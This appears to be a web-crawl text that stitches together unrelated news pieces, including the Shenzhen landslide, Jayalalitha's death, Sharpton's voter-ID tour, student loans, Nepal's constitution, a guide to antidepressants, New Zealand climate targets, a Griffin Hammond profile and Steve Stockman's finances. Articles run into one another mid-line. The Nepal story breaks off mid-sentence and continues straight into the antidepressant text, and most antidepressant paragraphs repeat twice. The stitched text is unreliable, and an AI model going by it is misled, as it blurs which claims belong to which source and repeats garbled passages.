"After 50 years of practicing medicine and seeing thousands of patients demonstrating symptoms of ADHD, I have reached the conclusion there is no such thing as ADHD," he wrote. The editorial also suggests that diagnosing teenagers with ADHD and treating them with stimulants ignores "the real cause of their problems," which he says are things like marijuana or alcohol.
For Greene, the reverse seems to be true. Treatment for his alcohol and drug addictions opened a window for him to be diagnosed, he says, and he finally feels in control. Three years ago, Greene started Adult ADHD NI, a nonprofit dedicated to aiding other adults across Northern Ireland with the disorder. He focuses on helping kids and adults struggling like he once was, regardless if some doctors still think ADHD doesn't exist. "I embrace the challenge," he says.
Greene remembers that sense of being lost. He sees the relief in his clients faces when they realize that they aren't the only ones feeling this way. They laugh a little easier when they're together.
They're all capable, he says—just easily distracted. He knows the feeling.
Follow Leah Sottile on Twitter.Rescuers work at the site of a landslide that hit an industrial park in Shenzhen, in south China's Guangdong province, on December 22, 2015
The head of an urban enforcement agency in the Chinese district where a huge landslide left scores of people missing has killed himself, authorities said Monday.
Xu Yuan'an, head of the City Urban Administrative and Law Enforcement Bureau for Shenzhen's Guangming New District, jumped to his death late Sunday, according to a post on an official police social media account.
After an investigation police determined Xu's death was a suicide, the post said.
In a separate post Shenzhen police announced they had detained 12 people, giving few details except to say some of them were from the company that owned the landfill which caused the landslide.
Xu's was the second reported suicide Sunday after state media said the owner of a gypsum mine in eastern China killed himself after a cave-in killed one person and left 17 trapped.
Only seven deaths have been confirmed from the Shenzhen landslide, which struck the southern boom town bordering Hong Kong just over a week ago. But 75 people are still unaccounted for after more than 30 buildings were buried.
The disaster was caused by the improper storage of waste from construction sites, according to the official newspaper of the Ministry of Land and Resources.
Soil was illegally piled 100 metres (330 feet) high at an old quarry site and turned to mud during rain, according to the state-run Global Times.
It was the latest in a series of fatal man-made accidents in the world's most populous country, coming just months after giant chemical blasts in the industrial city of Tianjin killed almost 200 people.
Urban management officials, known as chengguan in Chinese, enforce civil ordinances such as rules against street vendors or some types of pets.
But in recent years they have gained particular notoriety for abusing their power while enforcing city laws, including the beating to death of a watermelon vendor in 2013.
Xu was among the officials who approved the landfill project, according to a report by the Shenzhen Special District newspaper that was later deleted.
Cynical Internet users raised the spectre of corruption having played a role.
"There goes all the evidence," one commentator wrote. "Now we'll never know what really happened."
Another sarcastically lamented a practice where graft investigations cease if the suspect commits suicide, enabling their families to retain their assets.
"Make sure not to bother his wife and child!" added a different posting.Media playback is unsupported on your device Media caption A look back at the career of J Jayalalitha
One of India's most influential and colourful politicians, J Jayalalitha, has died at 68.
The chief minister of Tamil Nadu state suffered a heart attack on Sunday night and died at 23:30 local time (18:00 GMT) on Monday, Chennai's Apollo Hospital said.
Thousands of her supporters had gathered to pray for her recovery.
Extra police have been deployed in the southern state amid fears of unrest among her supporters.
The former film star served as Tamil Nadu chief minister four times. She had been receiving treatment for months.
Jayalalitha is revered by many but seen by her critics as having created a cult of personality over the years.
There are fears her death could spark unrest given the extreme devotion she inspires among her supporters, many of whom refer to her as "Amma" (mother).
Earlier reports of her death, which were swiftly withdrawn, prompted scuffles between police and her supporters outside the private hospital.
Image copyright AP Image caption Thousands of Jayalalitha's supporters gathered to mourn outside the Apollo hospital
Image copyright AP Image caption Some ran beside an ambulance carrying her body out of the hospital
Image copyright AP Image caption Extra police have been deployed in Chennai and across the state amid fears of unrest
Tributes began to pour in for Jayalalitha as soon as her death was confirmed by Apollo, which had been treating her since 22 September.
Jayalalitha's party AIADMK - which had earlier lowered the flag to half-mast before hoisting it up once more - also confirmed she had died, tweeting "our beloved leader, the Iron lady of India... Amma, is no more".
Wailing crowds: Sanjoy Majumder, BBC News, outside Apollo hospital
Image copyright AFP Image caption A false report of her death earlier in the day prompted an outpouring of grief among supporters
Hundreds of people had lined the streets leading out of the hospital, despite it being long past midnight, to catch a last glimpse of the woman they called "Amma".
As the ambulance carrying her body emerged from the main gate, a cry went up as supporters jostled forward to try and get close to the vehicle - almost breaking the police line in the process. Many of them were wailing.
Her successor as chief minister, the entire cabinet, top officials and others followed. One woman sat on the ground, distraught, her cheeks streaked with tears.
Now the action has moved to Poes Garden, the neighbourhood which has been Jayalalitha's home for the past several decades.
The streets have been barricaded as people throng the narrow lanes for an all-night vigil.
A senior AIADMK politician, O Panneerselvam, was sworn in as chief of Tamil Nadu within hours of her death, the party's Twitter account confirmed.
Prime Minister Narendra Modi was among the first to offer his condolences.
"I will always cherish the innumerable occasions when I had the opportunity to interact with Jayalalithaa ji (honorific). May her soul rest in peace," he tweeted.
Khushboo Sundar, film actress and Congress party spokesperson, told the BBC: "It's very painful for me. Despite our political differences, I had respected her. We were hoping against hope, none of us wanted her to lose this battle.
"She was a symbol of strength for women like me. She fought against so many odds to make a name for herself in a male-dominated profession like politics. We have a lost a great politician, and a great champion of women's rights."
Image copyright Reuters Image caption A police raid in the 1990s found 10,500 saris and 750 pairs of shoes in Jayalalitha's home
Jayalalitha lived a dramatic life, both on screen and off.
She appeared in more than 100 films before turning her hand to politics in the early 1980s.
Jayalalitha later won control of the AIADMK from its late founder's wife, before leading it to victory in 1991, the first of four occasions she would do so.
She was accused of corruption on several occasions, and spent two short spells in prison - most recently in 2014.
But a Karnataka high court order in 2015, which cleared her of involvement in a corruption scandal, paved the way for her return to power.
Jayalalitha's admirers remain unbowed in their admiration for her and argue she has played a key role in the development of Tamil Nadu as one of India's most economically influential states.
Correction 6 February 2017: The embedded video in this article has been amended to clarify that J Jayalalitha gave away laptops.The crowd squeezed into Greater Abyssinia Baptist Church in Cleveland last night to eagerly receive their marching orders from some of the most powerful and influential leaders in the land, led by Rev. Al Sharpton. The task at hand? To fight for their voting rights as their own state of Ohio, in addition to many others around the country, attempts to impose new voting restrictions that experts say will disproportionately impact African Americans and other voters of color.
Ohio is one of the dozen states that will now require voters to show government-issued picture IDs in order to cast a ballot. The state also eliminated early voting for the last three days before the election—which particularly hurts voting campaigns in the black church because many pastors in 2008 conducted large-scale marches down to the polls at the end of church services on the Sunday before election day. According to Ohio officials, 56 percent of African Americans in Ohio voted early in 2008.
At least 15 states have passed laws that could make voting more difficult for blacks and up to 38 states are weighing legislation that would require people to show government-approved photo identification or provide proof of citizenship before registering or casting ballots. New York University’s Brennan Center for Justice released a study last year that said the new laws “may sharply tilt the political terrain for the 2012 election” by restricting voting access for up to 5 million people, mostly people of color, the poor and the elderly.
Rev. Sharpton and his National Action Network are traversing the country over the next two months, hitting at least 25 cities in the states where voting laws have changed since 2008. Yesterday their target was Cleveland, where they chose Greater Abyssinia Baptist Church to conduct workshops with volunteers, instructing them on how to make sure Ohio residents get valid IDs that will enable them to vote. Sharpton said it is part of his Network’s two-pronged strategy—fighting the imposition of the laws on a national and statewide level, and on a more local and grassroots level ensuring that as many people as possible get the IDs they now need. The Network in recent weeks has already hit the ground in Florida (Tampa, Miami and Orlando), Georgia (Atlanta and Augusta) and Ohio. Sharpton said they will continue to travel to the cities where voters are imperiled by the new laws—particularly in the battleground states for the November election, such as Pennsylvania, Ohio and Florida.
Illustrating the seriousness of the issue, Sharpton was joined at Greater Abyssinia yesterday by some of the top political and religious leaders in the state of Ohio, including Senator Sherrod Brown, Cleveland Mayor Frank Jackson, civil rights icon Rev. Otis Moss Jr., Ohio State Senator Nina Turner and Rev. Emmitt Theophilus Caviness, who has pastored Greater Abyssinia for 51 years.
Rev. Sharpton, speaking at a luncheon for the leaders earlier in the day, said it was a contradiction for the nation to erect a national monument in Washington, D.C., honoring Dr. Martin Luther King Jr. at the same time as leaders in the Republican Party are working to take away the same voting rights that King ultimately gave his life to secure.
“Don’t get caught on Memory Lane talking about what Dr. King and them did in Selma,” Sharpton cautioned the room full of leaders. “You got your day right now. We have a real threat to the social order established in the Civil Rights Movement. Fifty-six percent of blacks here voted early in 2008. There’s a reason they want to cut that off.”
Sharpton said the Republican claims that they are trying to eliminate fraud are bogus and transparent.
“If they were so afraid of fraud, why didn’t they ask for voter IDs during the Republican primary?” he said. “We’re not that stupid—they’re targeting us, they’re not targeting fraud.”
For many senior citizens, finding transportation to get to government offices and paying the $20 or $25 it would cost to get a valid ID is prohibitive, particularly in rural areas where there is no public transportation and government offices may be many towns away.
“That’s why I say this election isn’t about Obama, it’s about your momma,” he said.
Sharpton left the church to do his nationally syndicated radio show, which reaches 40 markets across the country, and then his one-hour show on MSNBC, “Politics Nation.” He has been using both forums to incessantly push the issue of the voter ID laws and the millions who may be disenfranchised.
But Sharpton was back at Greater Abyssinia later in the evening for a public rally, where an overflow crowd heard from a succession of powerful speakers who put the issue in stark and dramatic historical terms.
Rev. Moss listed some of the bloody and deadly incidents that occurred during the Civil Rights Movement, including the Selma march, the deaths of Emmett Till and Dr. Martin Luther King and the four little girls killed in the Birmingham church bombing.
“All of this was to bring us the right to vote,” said Moss, the retired pastor of Cleveland’s Olivet Institutional Baptist Church who was a trusted partner of Dr. King’s during the movement. “When I look at what is happening in our state of Ohio, I can hear the children asking, ‘Momma, is that Selma?’ I wish I could say, ‘No.’ But we have to say it’s slavery by another name. It’s Jim Crow in new garments.”
State Sen. Turner said that the “foolishness” going on in Columbus, the state capital, makes her feel like Jim Crow has made a return in her lifetime.
“Jim Crow has packed his bags, left the South, and moved North,” she said in a fiery speech from the church pulpit.
But the highlight of the evening, the person the crowd of 1,200 was waiting with palpable anticipation to hear, was Sharpton.
“We’re still in the Civil Rights Movement,” Sharpton reminded the crowd.
But he told the audience not to be deterred by Republican efforts to disenfranchise them.
“They need to talk to us with respect,” he thundered from the pulpit as the crowd jumped to its feet. “They need to know, I’m not scared of you. My daddy beat your daddy, and I can beat you too.”By all means, let's talk about how best to create opportunity.
For some time now, groups on the left have been pushing Democrats and the White House to pick a big fight with Republicans over the fact that student loan interest rates are set to double when a federal law expires this summer. The White House is now set to join the battle:
President Obama begins an all-out push on Friday to get Congress to extend the low interest rate on federal student loans, White House officials said, an effort that is likely to become a heated battle along party lines. If Congress fails to act, the interest rate on the loans, which are taken out by nearly eight million students each year, will double on July 1, to 6.8 percent.
White House officials said the president was planning a sustained effort through the spring....on Saturday in his weekly address, the president will call on Congress to pass legislation preventing the rate hike.
Next week, Mr. Obama will again hammer the issue — during visits on Tuesday to the University of North Carolina at Chapel Hill and the University of Colorado at Boulder, and on Wednesday at the University of Iowa.
Republicans have argued that the extension heaps great costs on the backs of taxpayers. But a Dem points out that the cost of a one-year extension — $6 billion — is only marginally more than the annual amount that the Buffett Rule would have brought in, which Republicans argued was laughably trivial.
There’s already an infrastructure on the left that’s primed for this fight. The group CREDO Action has been organizing on the issue and urging Dems to take it on; it has collected 230,000 signatures.
But CREDO may not be satisfied if the Obama administration pushes for only a one-year extension. The group is set to go out with an email to supporters asking them to pressure Dems not to compromise on any one-year measure (presuming Republicans are even willing to do that).
“If we build massive support, we can prevent an early compromise that would put off the doubling of the interest rates for only one year — a compromise that is both unnecessary and not nearly good enough,” the email says.
That aside, the battle over student loans serves a good political purpose for Dems: It feeds into the argument between the parties over how best to create opportunity, a dispute that is central to the presidential race. Republicans and Mitt Romney argue that Obama's call for action to combat inequality is class warfare and insist the best way to reduce it is to sweep away government, unshackle the private sector and allow it to create opportunity for everyone. Obama and Dems counter that Republicans don’t really favor any genuine effort to create opportunity and that government action is necessary to increase social mobility, and with it, shared prosperity— via funding education, for instance.
The battle over extending student loans takes this argument out of the realm of the abstract, and places the debate over whether government should act to facilitate opportunity before the voters in concrete terms.KATHMANDU: In a significant development, Nepal government has decided to amend the new Constitution to address two key demands of agitating Madhesis regarding proportional representation and constituency delimitation, a move which is likely to be welcomed by India. The decision was taken at an emergency Cabinet meeting held at Singha Durbar here last night which also agreed to set up a political mechanism to recommend solutions to disputes over the proposed provincial boundaries within three months of its formation.The agitating Madhes-based parties have been protesting for over four months against the seven-province model proposed in the new Constitution that divides their ancestral land as a way to politically marginalize them. They have blockaded Nepal's border trade points with India, causing a shortage of essential goods and medicines in the landlocked country.At least 50 people have been killed in protests by Madhesis since August. Madhesis, who reside in Terai region, constitute nearly 52 per cent of Nepal's population.The meeting decided to move forward with the bill to amend the new Constitution which has has already been tabled in parliament."The bill has ensured proportional inclusive participation in various state organs as demanded by the agitating parties and has also proposed delimitation of the electoral constituencies based on population," Minister for Industry Som Prasad Pandey told reporters after the meeting.On political mechanism, he said, it "will recommend solutions to disputes over the proposed provincial boundaries within three months of its formation".The decision of Nepal cabinet is expected to be welcomed by India, which has been asking the government in the Himalayan nation to address the political problems facing that country and seek a broad-based acceptance of the Constitution adopted on |
of antidepressants available that work in slightly different ways and have different side effects. When prescribing an antidepressant that's likely to work well for you, your doctor may consider:
Your particular symptoms. Symptoms of depression can vary, and one antidepressant may relieve certain symptoms better than another. For example, if you have trouble sleeping, an antidepressant that's slightly sedating may be a good option.
Symptoms of depression can vary, and one antidepressant may relieve certain symptoms better than another. For example, if you have trouble sleeping, an antidepressant that's slightly sedating may be a good option. Possible side effects. Side effects of antidepressants vary from one medication to another and from person to person. Bothersome side effects, such as dry mouth, weight gain or sexual side effects, can make it difficult to stick with treatment. Discuss possible major side effects with your doctor or pharmacist.
Side effects of antidepressants vary from one medication to another and from person to person. Bothersome side effects, such as dry mouth, weight gain or sexual side effects, can make it difficult to stick with treatment. Discuss possible major side effects with your doctor or pharmacist. Whether it worked for a close relative. How a medication worked for a first-degree relative, such as a parent or sibling, can indicate how well it might work for you. Also, if an antidepressant has been effective for your depression in the past, it may work well again.
How a medication worked for a first-degree relative, such as a parent or sibling, can indicate how well it might work for you. Also, if an antidepressant has been effective for your depression in the past, it may work well again. Interaction with other medications. Some antidepressants can cause dangerous reactions when taken with other medications.
Some antidepressants can cause dangerous reactions when taken with other medications. Pregnancy or breast-feeding. A decision to use antidepressants during pregnancy and breast-feeding is based on the balance between risks and benefits. Overall, the risk of birth defects and other problems for babies of mothers who take antidepressants during pregnancy is low. Still, certain antidepressants, such as paroxetine (Paxil, Pexeva), may be discouraged during pregnancy. Work with your doctor to find the best way to manage your depression when you're expecting or planning on becoming pregnant.
A decision to use antidepressants during pregnancy and breast-feeding is based on the balance between risks and benefits. Overall, the risk of birth defects and other problems for babies of mothers who take antidepressants during pregnancy is low. Still, certain antidepressants, such as paroxetine (Paxil, Pexeva), may be discouraged during pregnancy. Work with your doctor to find the best way to manage your depression when you're expecting or planning on becoming pregnant. Other health conditions. Some antidepressants may cause problems if you have certain mental or physical health conditions. On the other hand, certain antidepressants may help treat other physical or mental health conditions along with depression. For example, bupropion (Wellbutrin, Aplenzin, Forfivo XL) may help relieve symptoms of both attention-deficit/hyperactivity disorder (ADHD) and depression. Other examples include using duloxetine (Cymbalta) to help with pain symptoms or fibromyalgia, or using amitriptyline to prevent migraines.
Some antidepressants may cause problems if you have certain mental or physical health conditions. On the other hand, certain antidepressants may help treat other physical or mental health conditions along with depression. For example, bupropion (Wellbutrin, Aplenzin, Forfivo XL) may help relieve symptoms of both attention-deficit/hyperactivity disorder (ADHD) and depression. Other examples include using duloxetine (Cymbalta) to help with pain symptoms or fibromyalgia, or using amitriptyline to prevent migraines. Cost and health insurance coverage. Some antidepressants can be expensive, so it's important to ask if there's a generic version available and discuss its effectiveness. Also find out whether your health insurance covers antidepressants and if there are any limitations on which ones are covered.
Types of antidepressants
Certain brain chemicals called neurotransmitters are associated with depression — particularly serotonin (ser-o-TOE-nin), norepinephrine (nor-ep-ih-NEF-rin) and dopamine (DOE-puh-meen). Most antidepressants relieve depression by affecting these neurotransmitters. Each type (class) of antidepressant affects these neurotransmitters in slightly different ways.
Many types of antidepressant medications are available to treat depression, including:
Selective serotonin reuptake inhibitors (SSRIs). Doctors often start by prescribing an SSRI. These medications generally cause fewer bothersome side effects and are less likely to cause problems at higher therapeutic doses than other types of antidepressants are. SSRIs include fluoxetine (Prozac), paroxetine (Paxil, Pexeva), sertraline (Zoloft), citalopram (Celexa) and escitalopram (Lexapro).
Doctors often start by prescribing an SSRI. These medications generally cause fewer bothersome side effects and are less likely to cause problems at higher therapeutic doses than other types of antidepressants are. SSRIs include fluoxetine (Prozac), paroxetine (Paxil, Pexeva), sertraline (Zoloft), citalopram (Celexa) and escitalopram (Lexapro). Serotonin and norepinephrine reuptake inhibitors (SNRIs). Examples of SNRI medications include duloxetine (Cymbalta), venlafaxine (Effexor XR), desvenlafaxine (Pristiq, Khedezla) and levomilnacipran (Fetzima).
Examples of SNRI medications include duloxetine (Cymbalta), venlafaxine (Effexor XR), desvenlafaxine (Pristiq, Khedezla) and levomilnacipran (Fetzima). Atypical antidepressants. These medications don't fit neatly into any of the other antidepressant categories. They include trazodone, mirtazapine (Remeron), vortioxetine (Trintellix), vilazodone (Viibryd) and bupropion (Wellbutrin, Aplenzin, Forfivo XL). Bupropion is one of the few antidepressants not frequently associated with sexual side effects.
These medications don't fit neatly into any of the other antidepressant categories. They include trazodone, mirtazapine (Remeron), vortioxetine (Trintellix), vilazodone (Viibryd) and bupropion (Wellbutrin, Aplenzin, Forfivo XL). Bupropion is one of the few antidepressants not frequently associated with sexual side effects. Tricyclic antidepressants. Tricyclic antidepressants — such as imipramine (Tofranil), nortriptyline (Pamelor), amitriptyline, doxepin and desipramine (Norpramin) — tend to cause more side effects than newer antidepressants. So tricyclic antidepressants generally aren't prescribed unless you've tried other antidepressants first without improvement.
Tricyclic antidepressants — such as imipramine (Tofranil), nortriptyline (Pamelor), amitriptyline, doxepin and desipramine (Norpramin) — tend to cause more side effects than newer antidepressants. So tricyclic antidepressants generally aren't prescribed unless you've tried other antidepressants first without improvement. Monoamine oxidase inhibitors (MAOIs). MAOIs — such as tranylcypromine (Parnate), phenelzine (Nardil) and isocarboxazid (Marplan) — may be prescribed, often when other medications haven't worked, because they can have serious side effects. Using an MAOI requires a strict diet because of dangerous (or even deadly) interactions with foods — such as certain cheeses, pickles and wines — and some medications, including birth control pills, decongestants and certain herbal supplements. Selegiline (Emsam), an MAOI that you stick on your skin as a patch, may cause fewer side effects than other MAOIs. These medications can't be combined with SSRIs.
MAOIs — such as tranylcypromine (Parnate), phenelzine (Nardil) and isocarboxazid (Marplan) — may be prescribed, often when other medications haven't worked, because they can have serious side effects. Using an MAOI requires a strict diet because of dangerous (or even deadly) interactions with foods — such as certain cheeses, pickles and wines — and some medications, including birth control pills, decongestants and certain herbal supplements. Selegiline (Emsam), an MAOI that you stick on your skin as a patch, may cause fewer side effects than other MAOIs. These medications can't be combined with SSRIs. Other medications. Your doctor may recommend combining two antidepressants, or other medications may be added to an antidepressant to enhance antidepressant effects.
Antidepressants and risk of suicide
Most antidepressants are generally safe, but the Food and Drug Administration (FDA) requires that all antidepressants carry black box warnings, the strictest warnings for prescriptions. In some cases, children, teenagers and young adults under 25 may have an increase in suicidal thoughts or behavior when taking antidepressants, especially in the first few weeks after starting or when the dose is changed.
Anyone taking an antidepressant should be watched closely for worsening depression or unusual behavior. If you or someone you know has suicidal thoughts when taking an antidepressant, immediately contact your doctor or get emergency help.
Keep in mind that antidepressants are more likely to reduce suicide risk in the long run by improving mood.
Making antidepressants work for you
To get the best results from an antidepressant:
Be patient. Once you and your doctor have selected an antidepressant, you may start to see improvement in a few weeks, but it may take six or more weeks for it to be fully effective. With some antidepressants, you can take the full dosage immediately. With others, you may need to gradually increase your dose. Talk to your doctor or therapist about coping with depression symptoms as you wait for the antidepressant to take effect.
Once you and your doctor have selected an antidepressant, you may start to see improvement in a few weeks, but it may take six or more weeks for it to be fully effective. With some antidepressants, you can take the full dosage immediately. With others, you may need to gradually increase your dose. Talk to your doctor or therapist about coping with depression symptoms as you wait for the antidepressant to take effect. Take your antidepressant consistently and at the correct dose. If your medication doesn't seem to be working or is causing bothersome side effects, call your doctor before making any changes.
If your medication doesn't seem to be working or is causing bothersome side effects, call your doctor before making any changes. See if the side effects improve. Many antidepressants cause side effects that improve with time. For example, initial side effects when starting an SSRI can include dry mouth, nausea, loose bowel movements, headache and insomnia, but these symptoms usually go away as your body adjusts to the antidepressant.
Many antidepressants cause side effects that improve with time. For example, initial side effects when starting an SSRI can include dry mouth, nausea, loose bowel movements, headache and insomnia, but these symptoms usually go away as your body adjusts to the antidepressant. Explore options if it doesn't work well. If you have bothersome side effects or no significant improvement in your symptoms after four weeks, talk to your doctor about changing the dose, trying a different antidepressant (switching), or adding a second antidepressant or another medication (augmentation). A medication combination may work better for you than a single antidepressant.
If you have bothersome side effects or no significant improvement in your symptoms after four weeks, talk to your doctor about changing the dose, trying a different antidepressant (switching), or adding a second antidepressant or another medication (augmentation). A medication combination may work better for you than a single antidepressant. Try psychotherapy. In many cases, combining an antidepressant with talk therapy (psychotherapy) is more effective than taking an antidepressant alone. It can also help prevent your depression from returning once you're feeling better.
In many cases, combining an antidepressant with talk therapy (psychotherapy) is more effective than taking an antidepressant alone. It can also help prevent your depression from returning once you're feeling better. Don't stop taking an antidepressant without talking to your doctor first. Some antidepressants can cause significant withdrawal-like symptoms unless you slowly taper off your dose. Quitting suddenly may cause a sudden worsening of depression.
Some antidepressants can cause significant withdrawal-like symptoms unless you slowly taper off your dose. Quitting suddenly may cause a sudden worsening of depression. Avoid alcohol and recreational drugs. It may seem as if alcohol or drugs lessen depression symptoms, but in the long run they generally worsen symptoms and make depression harder to treat. Talk with your doctor or therapist if you need help with alcohol or drug problems.It's official: National has given up on doing anything about climate change. At this press conference yesterday afternoon, Prime Minister John Key said that New Zealand would aim for an emissions cut of about 15% by 2020.
This is far lower than the 25% - 40% recommended by the IPCC, far lower than what is necessary to convince China and India to come on board, and far lower than what is being offered by countries which are serious about the problem. On the latter front, the EU is offering 20% unilaterally, and 30% if others come on board; the UK has a legislated binding target of 34%, Germany is going for 40%, and Scotland has set a target of 42%. Costa Rica, which isn't even an Annex I party, is offering 100% - as are tiny Tuvalu, the Maldives, Niue and Tokelau.
What Key's statement tells the world is that New Zealand isn't serious about climate change. What it tells our Pacific neighbours is that we are happy to see them drown. Either way, the consequences for our global "clean and green" brand - the foundation of our tourist and agricultural wealth - cannot be good.The new National Geographic documentary “Gender Revolution” takes viewers across the U.S. and to other parts of the world to explore the evolving concept of gender. Former TODAY anchor Katie Couric narrates the film and provides the audience with a newcomer’s lens to the complex — and at times polarizing — topic.
“Every day, really on a daily basis, we are reading new headlines about gender and about gender-nonconforming people,” Couric told TODAY anchor Matt Lauer last week. “People are afraid of what they don’t understand. If they understand it better, they will have more tolerance for people that are different.”
In order to educate herself and viewers and “get to know the real people behind the headlines,” the two-hour film has Couric visit a number of activists, doctors, families and individuals. Among those who share their insight are Dr. Marci Bowers, M.D., a transgender woman and a pioneer in the field of gender confirmation surgery; Hari Nef, a transgender model and actress best known for her role in the Amazon hit series “Transparent”; Georgiann Davis, an intersex activist and sociology professor; and Gavin Grimm, a transgender student whose lawsuit is being heard by the Supreme Court this year.
“Gender Revolution” premieres February 6 at 9 p.m. (8 p.m. CST) on the National Geographic Channel. The film’s debut follows the January 2017 issue of National Geographic magazine, which was devoted to examining gender around the world.
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Inside all the twists and turns of this unpredictable presidential election, there is repetition. The same stump speeches. The same jokes. The same photo opps at diners, airport hangars or school gymnasiums
Bloomberg Politics videographer Griffin Hammond ’07, M.S. ’09, has seen it all. Crisscrossing the country for the past year covering the winnowing field of candidates from both parties, Hammond heard Ted Cruz jokingly tell supporters he wanted them to “vote for me 10 times” on dozens of occasions. (Cruz meant bring 10 friends to your polling place. “We’re not Democrats,” he said to laughter.)
So Hammond finds his own story. When rows of TV cameras are pointed toward a candidate at a podium, Hammond turns his lens another direction. He spent a February evening inside a Bernie Sanders phone bank in South Carolina, filming activist and rapper Killer Mike tell a voter about how the senator’s economic policy will help black men like him.
At a Sanders April rally in Wisconsin, Hammond spotted an unusual lone protester. The result? A 2-minute video called “Here’s What Happens When an Ayn Rand Fan Attends a Bernie Sanders Rally.”
As cable news networks brag about faux-exclusives, Hammond’s work actually is unique with small moments that no one else is seeing or sharing.
“It’s always silly to me that we send so many cameras to do the same thing,” he said. “I’m glad I have the freedom to turn my camera away and give the viewer a real sense of what it was like to be there.”
Hammond shoots and edits for Bloomberg Politics’ daily TV show With All Due Respect, hosted by Mark Halperin and John Heilemann, authors of Game Change and Double Down. Hammond’s work also feeds Bloomberg’s website and social media.
Technically, Hammond is a journalist. But not really. He is a highly regarded online video pioneer who’s produced hundreds of do-it-yourself tutorials for low-budget filmmakers.
He is blazing his own path as a documentary filmmaker, just like he’s done in every job he’s had since coming to Illinois State to study television and media.
Hammond began college at New York University’s acclaimed film program, but transferred to ISU’s School of Communication. He shot tons of news stories for TV-10 and edited a short film about the proposed closure of a Central Illinois prison with the Documentary Project under Associate Professor John McHale.
“I’m willing to jump at an opportunity and try something new.”–Griffin Hammond
“It took ISU to show to me that documentary filmmaking was what I really loved,” Hammond said. “Without those things, I wouldn’t have realized this was a possible career path for me.”
Hammond credits his relationship with faculty like McHale for jump-starting his professional life, which began with an internship and then full-time job at Bloomington-based State Farm. While working for the insurer he produced a fun cautionary tale about the dangers of turkey fryers, which made William Shatner a viral-video celebrity.
Initially working in social media at State Farm, Hammond took over as executive producer and host of Indy Mogul in 2011. The Google/YouTube “lab channel” taught low-budget, DIY filmmaking techniques to thousands of subscribers.
By 2013 Hammond had produced thousands of videos and wanted to make a film. He returned from the South by Southwest film festival inspired to create a film on Sriracha—the chili pepper-based sauce that’s become wildly popular in recent years and broke through as a culinary headline-making darling. His 33-minute movie, called Sriracha, about the culture and history surrounding the sauce won Best Short Film at three festivals and earned great reviews.
The film’s creation and distribution is as fascinating as the final product. Hammond successfully tapped into Sriracha’s fan base to crowdfund $20,780 in digital presales to pay for production, including overseas travel. In addition to the festival circuit, he also navigated online video platforms such as Vimeo, Amazon, and Hulu so his film could reach more people. In its first 18 months, he captured 300,000 views.
If his resume sounds all over the map—especially for a 32-year-old—that’s because Hammond doesn’t have some master plan. He hasn’t plotted all the steps it’ll take to get him to an Oscar.
“I found this alternate path, where I just try to appreciate when people think of me for a job, and where I’m willing to jump at an opportunity and try something new,” Hammond said.
These days that means covering the 2016 presidential election. He was given the opportunity because someone at Bloomberg saw Sriracha. He was asked in summer 2014 if he wanted to join their new political media venture.
“It was a weird, out-of-the-blue thing,” he said.
Hammond is based in New York, where he lives with his wife. More recently, he’s lived in hotels and airports. He’s spent weeks in Iowa, New Hampshire, South Carolina, and Wisconsin, to name a few destinations. He logged 100,000 frequent flier miles in 2015 alone—before the first caucus was even held.
What’s it like on the trail?
On the night of the Iowa caucuses in February, Hammond was running on three hours of sleep in two days because he “made the mistake” of pulling an all-nighter to finish editing a video.
That night, he hopped on Sanders’ charter plane for an overnight flight to New Hampshire, where the primary was held eight days later. They landed in Manchester at 4:11 a.m., preceded by Hillary Clinton’s plane and followed by Cruz’s. Standing with Hammond on the tarmac was a who’s who of American media heavy-hitters—all freezing as they silently unloaded their bags.
“It was just so strange,” he said of the airport scene. “But this is the job.”
Hammond arrived at his La Quinta hotel at 6 a.m. that morning. He slept for 90 minutes. Then it was back to work. Not surprisingly, he gets sick a lot.
He produces dozens of videos each month for Bloomberg’s website and the TV show. His most popular, as of May, featured actor Jeff Daniels in a shot-for-shot riff on the opening scene from his HBO series The Newsroom. It clocked a million views in its first week and became the No. 1 trending story on Facebook.
He’s especially proud of his videos about the “ground game” that Clinton and Sanders ran in Iowa and South Carolina, focusing on the volunteers and precinct captains who knocked on doors and used their cell phones to reach voters. In Hammond’s 4½-minute “ground game” video about Sanders, the Vermont senator is himself only on screen for a few seconds.
Political polarization has been a dominant storyline throughout the 2016 campaign. Yet Hammond’s work featuring evocative music and humor humanizes voters on all sides. In other words: Nobody looks that crazy.
“Regardless of their beliefs, they seem more similar than different to me,” Hammond said.
While friendly with the candidates and their staffs, Hammond does see the repetition of the campaign beginning to change him. They’re performers. Deliberately divisive at times.
“I feel myself getting more cynical,” he said.
The same ingenuity and resourcefulness that’s earned him celebrity status in the online-video community now comes in handy on the campaign trail. He’s often a one-man crew, carrying a messenger bag, backpack and tripod. When he needs a second tripod for a two-camera interview, he’ll make one out of a chair and a small clamp.
His ability to stay nimble buys him access. It’s easier for a campaign to agree to an interview if the candidate doesn’t have to wait around for the lighting guy to set up.
“I go to these events with a lot more versatility,” said Hammond, who expects to be on the trail through the November 8 election.
“It’s going to be a crazy year.”Rep. Steve Stockman (R-Texas) has failed to properly disclose his financial dealings as both a candidate and a congressman, the Houston Chronicle reported on Sunday.
A continuing investigation of the representative's campaign finances shows that Stockman has failed to file federally required expense documents since his 2012 campaign; those that he did file were months late and only prompted more questions.
"Presidential Trust Marketing," the business to which Stockman attributed his income in belated reports of his 2012 candidacy, was not listed in any public records, the Chronicle said.
Following an earlier report from the Chronicle on Stockman's botched campaign disclosures, the representative accused the paper of trying to "fluff it up" in a press release, crediting the recent hire of Tim Fleck -- a "left-wing activist" that has been "obsessed with [Stockman] since 1996" -- for the damaging report.
"Fleck once picked up a coral snake and was surprised when it bit him and he had to go to the hospital, so he's not the kind who learns quickly," Stockman said in the early November press release.
The representative has developed a reputation for being a conservative rabble-rouser, accusing Democrats of "curb-stomping veterans" during the government shutdown, and bringing fellow firebrand Ted Nugent as his guest to the 2013 State of the Union address in February.
House Minority Leader Nancy Pelosi (D-Calif.) has expressed her disapproval of Stockman in the past. In an interview with The Huffington Post shortly after President Barack Obama's 2013 State of the Union address, she said her Republican colleague was "eating out of a trash can" before first being elected to Congress in 1994.
"I am more concerned about Steve Stockman being here than Ted Nugent," Pelosi told HuffPost in February. "Ted Nugent will leave. Steve Stockman will still be here."ROCKFORD — A layoff of up to 64 reserve deputies who provide security at Winnebago County courthouses would cut $960,000 from the sheriff's budget — less than a quarter of the total reduction the County Board has proposed for the sheriff.
